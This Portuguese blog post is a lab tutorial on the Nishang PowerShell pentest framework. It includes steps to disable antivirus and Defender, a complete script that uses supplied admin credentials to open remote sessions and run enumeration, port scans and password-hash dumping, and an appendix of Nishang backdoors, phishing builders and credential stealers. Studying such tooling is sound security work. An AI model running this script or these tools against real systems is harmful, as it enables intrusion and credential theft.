Este artigo está disponível em Inglês na PenTest Magazine e também no Pulse (LinkedIn).

Introdução

Nishang é um framework criado pelo expert em segurança indiano Nikhil Mittal.  É uma ferramenta muito interessante, pois une um bom conjunto de scripts e módulos que podem ser facilmente acoplados com qualquer código em PowerShell.  Podem-se executar várias tarefas, como scanning e enumeração de rede, descoberta de credenciais, obtenção de redes Wireless LAN, execução remota e muitas outras.  O repositório Github pode ser encontrado em https://github.com/samratashok/nishang.

Para os propósitos deste artigo, focarei em mostrar alguns dos possíveis usos deste framework.  Tenho duas VMs no meu ambiente de laboratório.  Uma delas está rodando um Windows 10 sem qualquer atualização.  Vamos chamá-la de “máquina” atacante (ou simplesmente “atacante”).  A segunda VM está executando um Windows Server 2012 R2 com as últimas atualizações.  Vamos chamá-la de “máquina alvo” (ou simplesmente “alvo”).

É importante entender que alguns programas antivírus podem interpretar o código do Nishang como malware.  Assim, recomendo que desabilite, ou melhor, desinstale qualquer antivírus que possa existir no atacante.  O meu não possui nenhum.

Instalação

Isto depende de você, mas acredito que a forma mais comum de fazê-la seja clonar o repositório.  Portanto, depois de instalar o Git para Windows (https://git-scm.com/download/win) em seu sistema atacante, clone o Nishang:

O Nishang gostaria de ser o Meterpreter quando crescer. 🙂

Os scripts são organizados em pastas para facilitar seu uso à medida de sua necessidade (veja a próxima figura).  A leitura do  README.md é recomendada para entender o uso básico do código e os nomes, além dos propósitos dos scripts.

Um dos primeiros passos é importar o nishang.psm1 como um módulo em seu sistema.  Além deste arquivo, há mais um usando o formato de módulo (Powerpreter.psm1).  O Powerpreter é a união dos scripts Nishang em um código que se assemelha a um shell.  De acordo com o próprio Nikhil, ele “gostaria de ser o Meterpreter quando crescer”. 🙂 Quaisquer dos códigos do Nishang podem ser usados como módulos ou scripts individuais.  Basta mudar a extensão do arquivo.

Segue minha versão PowerShell do atacante.  Como se pode perceber, não estou usando o Windows 10 Anniversary Update.

 

Primeiro Contato

Todos as próximas capturas de tela foram tiradas a partir do atacante.  Se você iniciar suas atividades com o PowerPreter, pode obter uma mensagem como esta:

Isto acontece porque o Windows Defender é habilitado por default.  Esta janela basicamente significa que o seu Powerpreter.psm1 será apagado e você precisará baixá-lo novamente.  Para evitar erros eventuais como este, você deve desabilitar este recurso.  Simplesmente rode o “gpedit.msc” e localize Computer Configuration > Administrative Templates > Windows Components > Windows Defender.  Clique duas vezes em “Turn off Windows Defender” e escolha “Enabled”. Clique Apply e Ok. Pronto.

Se você tentar importar o nishang.psm1 como módulo usando o “Import-Module nishang.psm1”, você pode receber uma mensagem como esta:

Isto significa que a política de execução de scripts está configurada para “Restricted” no seu sistema.  Isto é o ajuste padrão.  Você deve habilitá-la para começar a usar qualquer código em Powershell.  Abra uma sessão administrativa do PowerShell e digite:

PS C:\> Set-ExecutionPolicy Unrestricted

 

O Parque de Diversões

Este artigo não pretende explicar em detalhes o Nishang.  Isto já é amplamente coberto pela documentação oficial.  Há alguns sites que sugerem o wce.exe para executar “pass the hash”.  Eu particularmente prefiro escrever meu próprio código.  Este programa solicita o administrador (ou alguma conta de usuário com perfil administrativo) e a senha da máquina alvo.  Sim, isto é necessário, uma vez que você precisará enviar alguns payloads para ela.  Evitei manipular exceções com a intenção de ter um código menor no final.

O código está dividido em algumas funções para torná-lo mais legível e mais fácil de ser debuggado.  Algumas variáveis globais são necessárias, pois elas devem ser alteradas dentro das funções.

 

Variáveis Globais

$NishangFolder = "C:\Nishang\"
$FileCred = $NishangFolder + "Credentials.txt" # Nome do arquivo de credenciais
$CredProvided = $false # É falsa até que as credenciais do alvo sejam fornecidas
$Session = $null # Sessão PowerShell com o alvo
$Target = $null # Endereço IP do alvo

Há uma função usada para construir um menu simples e, após a mesma, as funções principais.  Uma delas é responsável por obter o endereço IP do alvo e as respectivas credenciais.  Ela recebe e registra o usuário e senha no arquivo texto contido na variável $FileCred.

Para evitar sempre solicitar o usuário e a senha, a função “GetIPCredentials” lê este arquivo e obtém ambas as variáveis para a máquina alvo.  Caso você deseje testar outro alvo, basta apagar o arquivo Credentials.txt e a função criará-lo de novo com novos conteúdos.  Observe que a senha é armazenada como hash.

Quando se importa o módulo principal do Nishang em seu código, você pode receber outra mensagem de erro, informando que o limite de aninhamento de módulos foi excedido. Isto acontece quando seu código está na pasta principal do Nishang ou dentro de alguma de suas subpastas.  Isto se deve ao fato do nishang.psm1 buscar todos os arquivos terminados com “.ps1”, lê-los e importar suas funções correspondentes.  Para fugir disso, simplesmente crie seu código numa pasta externa à estrutura do Nishang.

Executarei o código remoto Nishang usando o cmdlet Invoke-Command.  Se você está lidando com computadores diversos que podem estar dentro e fora de um domínio Active Directory, você pode ter alguns problemas relacionados à autenticação e ao sistema WinRM.  Para contornar isso, você deve inserir o endereço IP do alvo como host confiável (trusted host).  Assim, fique atento quanto a isso antes de usar o Nishang.  Por exemplo, meu atacante não é parte de nenhum domínio e meu alvo é um Controlador de Domínio.  É um prompt de comando administrativo (convencional ou PowerShell), digite:

C:\>winrm set winrm/config/client @{TrustedHosts=”<endereço IP>”}

As capturas a seguir mostram uma parte da saída do código.  Dados sensíveis foram ocultos.

Trecho de “Get-Information”:

Indo além com o “Get-Information”:

O fim de “Get-Information”:

O script “Get-PassHashes” é bem interessante também:

O código final comentado é este:

<#
.SYNOPSIS
Um código simples em PowerShell para testar os scripts do Nishang.
 
.DESCRIPTION
Este script pede as credenciais de um alvo e invoca alguns outros scripts.
 
.AUTHOR
Mauricio Harley (http://itharley.com/)
 
.DATE
11 de Novembro de 2016
#>
 
<#
    Seção de variáveis globais
#>
$NishangFolder = "C:\Nishang\"
$FileCred = $NishangFolder + "Credentials.txt" # Arquivo com credenciais
$CredProvided = $false # É falsa até que as credenciais do alvo sejam fornecidas.
$Session = $null       # Sessão PowerShell com o alvo.
$Target = $null        # Endereço IP do alvo.
Import-Module C:\nishang\nishang.psm1
 
<#
    Esta função é responsável por mostrar o menu do script.
#>
Function ShowMenu {
param ([string]$Header = 'Nishang Front-End')
    cls
    Write-Host "================ $Header ================"
    
    Write-Host "1: Inform Target IP and Credentials."
    Write-Host "2: Do Target port scanning."
    Write-Host "3: Gather Target information."
    Write-Host "4: Get Target Password Hashes."
    Write-Host "5: Scan Unconstrained Delegation Enabled (it may take a while)."
    Write-Host "Q: Press 'Q' to quit."
}
 
<#
    Esta função coleta o endereço IP e as credenciais do alvo e abre uma sessão PS.
#>
Function GetIPCredentials {
    # Se o arquivo existir e tiver tamanho não nulo, simplesmente leia-o.
    If ((Test-Path $FileCred) -and ((Get-Item $FileCred).Length -gt 0)) {
        $Username = (Get-Content $FileCred)[0]
        $Password = (Get-Content $FileCred)[1]
    }
    Else {
        Write-Host "Enter the target’s username (including domain if necessary): " -NoNewline
        $Username = Read-Host
        Write-Host "Enter the corresponding password: " -NoNewline
        $Password = Read-Host -AsSecureString | ConvertFrom-SecureString
 
        Echo $Username > $FileCred
        Echo $Password >> $FileCred
    }
 
    # Para a senha, precisamos convertê-la de volta a um formato legível.
    $Password = (Get-Content $FileCred)[1] | ConvertTo-SecureString
 
    # Armazendo as credenciais dentro de uma única variável.
    $Credentials = New-Object -TypeName System.Management.Automation.PSCredential `
                   -ArgumentList $Username, $Password
 
    Write-Host
    Write-Host "Enter target's IP address: " -NoNewline
    $global:Target = Read-Host
 
    # Abrindo uma sessão PowerShell remota com o alvo.
    $global:Session = New-PSSession -ComputerName $global:Target -Credential $Credentials
    $global:CredProvided = $true
    $Temp = $NishangFolder + "nishang.psm1"
    Invoke-Command -Session $global:Session -ScriptBlock {
            Import-Module $using:Temp
    }
}
 
<#
    Esta função é a responsável por rodar algum código localmente no alvo.
#>
Function DoSomething {
    param ([string]$Param)
    # Param: Opção escolhida
 
    if (-not $global:CredProvided) {
        Write-Host "You must provide credentials first!"
        Return
    }
    else {
        if ($Param -eq '2') {
            # Se a opção for '2', o comando roda localmente (caso único).
            Invoke-PortScan -StartAddress $global:Target -EndAddress $global:Target
        }
        elseif ($Param -eq '3') {
            # Qualquer outra opção diferente de '2' necessitará de execução de código remoto.
            Invoke-Command -Session $global:Session -ScriptBlock {
                Get-Information
            }
        }
        elseif ($Param -eq '4') {
            # Qualquer outra opção diferente de '2' necessitará de execução de código remoto.
            Invoke-Command -Session $global:Session -ScriptBlock {
                Get-PassHashes
            }
        }
        elseif ($Param -eq '5') {
            # Qualquer outra opção diferente de '2' necessitará de execução de código remoto.
            Invoke-Command -Session $global:Session -ScriptBlock {
                Get-Unconstrained
            }
        }
    }
}
 
Do {
    cls
    ShowMenu
    $Option = Read-Host "Please choose an option: "
    $Option = $Option.ToUpper()
    Switch ($Option) {
        '1' { GetIPCredentials }
        '2' { DoSomething $Option }
        '3' { DoSomething $Option }
        '4' { DoSomething $Option }
        '5' { DoSomething $Option }
        'Q' { Write-Host "Bye!" }
        default { Write-Host "Invalid option!" }
    }
    Pause
}
Until ($Option -eq 'Q')
 
# Encerrando a sessão remota.
if ($Session -ne $null) {
    Remove-PSSession -Session $Session
   }

 

Conclusão

O Nishang é muito poderoso e possui diversos utilitários que podem ser usados para realizar enumeração, desinstalar atualizações, baixar e executar códigos, realizar bypass do UAC, descobrir redes em senhas Wireless LAN e outras tarefas (veja mais no Apêndice).

A documentação externa é um pouco simples e seria bom se pudesse melhorar.  Alguns scripts não rodaram em meu sistema alvo e alguns outros apresentaram erros.  A manipulação de exceções seria algo bem-vindo.  A plataforma como um todo deveria ser atualizada par refletir sistemas operacionais modernos, como estes que usei no artigo.  O código em si é bem documentado:  todos os arquivos iniciam com um cabeçalho pequeno descrevendo o que o script faz e como pode ser usado.  Foram escritos usando o formato de ajuda do PowerShell.

Não há muitas ferramentas em PowerShell para conduzir Pentestig.  Entretanto, não há dúvidas de que o Nishang é um dos pacotes mais completos atualmente disponíveis.  Combinando o power de ser modularizado com sua capacidade de executar código local ou remotamente, você pode fazer diversas combinações de scripts.  Você pode usar o código que apresentei aqui como ponto de partida para algo maior, através de todas as possibilidades que o time Nishang + PowerShell permitem.

 

Apêndice

Abaixo, uma lista dos scripts integrantes do Nishang e seus propósitos.

  • Antak: Executa scripts PowerShell scripts em memória, roda comandos, baixa e atualiza arquivos usando um webshell;
  • HTTP-Backdoor: Um backdoor que pode receber instruções de sites externos e executar scripts PowerShell em memória;
  • DNS_TXT_Pwnage: Um backdoor que pode receber comandos em scripts PowerShell a partir de queries do tipo DNS TXT, executá-los em um alvo e ser remotamente controlado usando as queries;
  • Execute-OnTime: Um backdoor que pode executar scripts PowerShell em tempo programado num alvo;
  • Gupt-Backdoor: Um backdoor que pode receber comandos e scripts de um SSID WLAN sem conectar-se a ele;
  • Add-ScrnSaveBackdoor: Um backdoor que pode usar uma proteção de tela do Windows para execução de comandos e scripts remotamente;
  • Invoke-ADSBackdoor: Um backdoor que pode usar fluxos de dados alternativos e o registry do Windows para atingir persistência;
  • Out-CHM: Cria arquivos CHM infectados que podem executar comandos e scripts PowerShell;
  • Out-Word: Cria arquivos Word e infecta os existentes para executar comandos e scripts PowerShell;
  • Out-Excel: Cria arquivos Excel e infecta os existentes para executar comandos e scripts PowerShell;
  • Out-HTA: Cria um arquivo HTA que pode ser instalado em um servidor web e usado em campanhas de phishing;
  • Out-Java: Cria arquivos JAR assinados que podem ser usados com applets para execução de comandos e scripts;
  • Out-Shortcut: Cria arquivos de atalhos capazes de executar comandos e scripts PowerShell;
  • Out-WebQuery: Cria arquivos IQY para credenciais de phishing e hashes SMB;
  • Out-JS: Cria arquivos JS capazes de executar comandos e scripts PowerShell;
  • Out-SCT: Cria arquivos SCTcapazes de executar comandos e scripts PowerShell;
  • Out-SCF: Cria um arquivo SCF que pode ser usado para capturar challenges de hashes NTLM;
  • Enable-DuplicateToken: Quando os privilégios de SYSTEM são necessários;
  • Remove-Update: Introduz vulnerabilidades removendo patches;
  • Invoke-PsUACme: Executa bypass no UAC (User Access Control);
  • Download-Execute-PS: Baixa e executa um script PowerShell em memória;
  • Download_Execute: Baixa um binário em formato texto, converte-o para executável e o executa;
  • Execute-Command-MSSQL: Roda comandos PowerShell, comandos nativos ou comandos de SQL em um servidor MSSQL com privilégios suficientes;
  • Execute-DNSTXT-Code: Executa um shellcode em memória usando queries DNS TXT;
  • Out-RundllCommand: Executa comandos e scripts PowerShell em uma sessão PowerShell reversa usando rundll32.exe;
  • Check-VM: Verifica uma máquina virtual;
  • Copy-VSS: Copia o arquivo SAM usando o serviço Volume Shadow Copy;
  • Invoke-CredentialsPhish: Faz um usuário fornecer credenciais em texto limpo;
  • FireBuster/FireListener: Um par de scripts para testar a saída do Get-LSASecret de um alvo;
  • Get-WLAN-Keys: Obtém chaves WLAN em texto limpo de um alvo;
  • Keylogger: Captura teclas de um alvo;
  • Invoke-MimikatzWdigestDowngrade: Realizar dump de senhas de usuários em texto limpo no Windows 8.1 e Server 2012.
Compartilhe:
Categorias: Segurança

Maurício Harley

Olá! Meu nome é Maurício Harley. Tenho mais de 20 anos de experiência em Tecnologia da Informação. Durante minha carreira, trabalhei em setores diversos, como suporte a usuário final, manutenção de hardware, instalação e suporte a redes de computadores, programação, projetos avançados em Data Center, Cloud Computing, Cyber Security e Redes, incluindo Service Providers.

0 comentário

Deixe um comentário

Avatar placeholder

O seu endereço de e-mail não será publicado. Campos obrigatórios são marcados com *

Translate

You cannot copy content of this page.